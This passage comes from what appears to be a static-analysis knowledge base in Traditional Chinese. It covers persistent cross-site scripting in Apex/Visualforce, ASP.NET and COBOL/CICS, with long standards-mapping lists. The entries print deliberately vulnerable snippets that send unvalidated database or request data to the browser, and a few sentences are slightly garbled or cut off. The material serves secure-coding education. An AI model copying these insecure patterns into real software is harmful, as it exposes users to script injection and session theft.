[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_persistent
Abstract
將未經驗證的資料傳送到網頁瀏覽器可能會導致執行惡意程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。如果是 Persistent XSS,不可信賴的來源大多為資料庫查詢的結果,而如果是 Reflected XSS,來源大多為 Web 要求。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

惡意內容通常為 JavaScript 程式碼片段,但也可以是 HTML、Flash 或瀏覽器可執行的任何其他作用中內容。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Apex 程式碼片段會在資料庫中查詢具有指定 ID 的聯絡人名稱並傳回對應的員工姓名 (之後由 Visualforce 程式碼進行列印)。


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>


name 的值進行明確界定時 (例如,僅英數字元),此程式碼會正常運作,但無法檢查惡意資料。即使該值讀取自資料庫,也應該對其進行適當驗證,因為資料庫的內容可能源自於使用者提供的資料。這樣一來,攻擊者可以在使用者的網頁瀏覽器中執行惡意指令,而無需與受害者進行互動 (類似於 Reflected XSS)。此類攻擊稱為 Stored XSS (或 Persistent XSS),可能非常難以偵測,因為資料是以間接方式提供給易受攻擊的函數,並且由於影響多個使用者的可能性,此類攻擊的影響會更強烈。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下 Visualforce 程式碼片段會讀取 HTTP 要求參數 username,並向使用者顯示。


<script>
document.write('{!$CurrentPage.parameters.username}')
</script>


此範例中的程式碼旨在僅接收英數文字並加以顯示。但是,如果 username 包含中繼字元或來源程式碼,則會由網頁瀏覽器執行。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。有兩種途徑可執行 XSS 攻擊:

- 如 Example 1 所述,資料庫或其他資料儲存區會向應用程式提供將包含在動態內容中的危險資料。從攻擊者的角度來看,儲存惡意內容的最佳位置是可供所有使用者 (尤其是擁有較高權限的使用者) 存取的區域,這些使用者更有可能會處理敏感資訊或執行關鍵作業。

- 如 Example 2 所述,會從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者將危險內容傳遞至易受攻擊的 Web 應用程式,然後回傳給使用者並透過其瀏覽器執行時,會出現 Reflected XSS。傳遞惡意內容最常用的機制就是,將惡意內容當作參數包含在公開發佈的 URL 中,或者以電子郵件方式直接傳送給受害者。透過此方式修改的 URL 是許多釣魚架構的核心,其中攻擊者會誘騙受害者造訪該 URL。當網站回傳內容給使用者後便會加以執行,並且可執行多個動作,例如轉送隱私、敏感的資訊、在受害者電腦上執行未經授權的作業等。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ASP.NET 網頁表單使用指定的員工識別碼向資料庫查詢員工,並列印出與識別碼相對應的名字。

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>


其中,EmployeeName 是定義如下的表單控制項:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
範例 2:以下 ASP.NET 程式碼片段的功能與之前的 Example 1 相當,不過卻是以程式設計方式來實作所有的表單元素。

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
name 值正常運作時,這些程式碼範例也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 3:以下 ASP.NET 網頁表單會從 HTTP 要求讀取員工識別碼,然後顯示給使用者。

<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


其中,LoginEmployeeID 是定義如下的表單控制項:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
範例 4:以下的 ASP.NET 程式碼片段會示範以程式設計方式來實作 Example 3

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


Example 1Example 2 所述,如果 Login 只包含標準英數字元,這些範例就會正確運作。如果 Login 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL? 真正的危險是攻擊者會建立惡意的 URL,然後使用電子郵件或社交工程技倆來誘騙受害者按下連結。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 3Example 4 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 ASP.NET 要求驗證和 WCF)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。如果是 ASP.NET 要求驗證,我們也會針對何時明確停用驗證提供證據。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。

2. 在未對包含資料的動態內容進行驗證的情況下,便將其傳送至某個網路瀏覽器。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1: 以下的程式碼片段,根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.

EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
ENAME 值正常運作時,此範例中的程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 ENAME 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 ENAME 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這種類型的攻擊,被稱作 Stored XSS,是特別狡詐的,因為間接的資料儲存方式使得該威脅難以辨別,而且提高了該攻擊會影響到多個使用者的可能性。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2: 以下的程式碼片段在 HTML 表單中讀取員工的識別碼 EID,並顯示給使用者。


...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.

EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...


Example 1 所述,如果 EID 只包含標準英數字元,這個程式碼會正確地執行。如果 EID 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。當攻擊者有以下情況時,Stored XSS 攻擊就會出現:

- 如 Example 2 所述,會直接從 HTML 表單中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
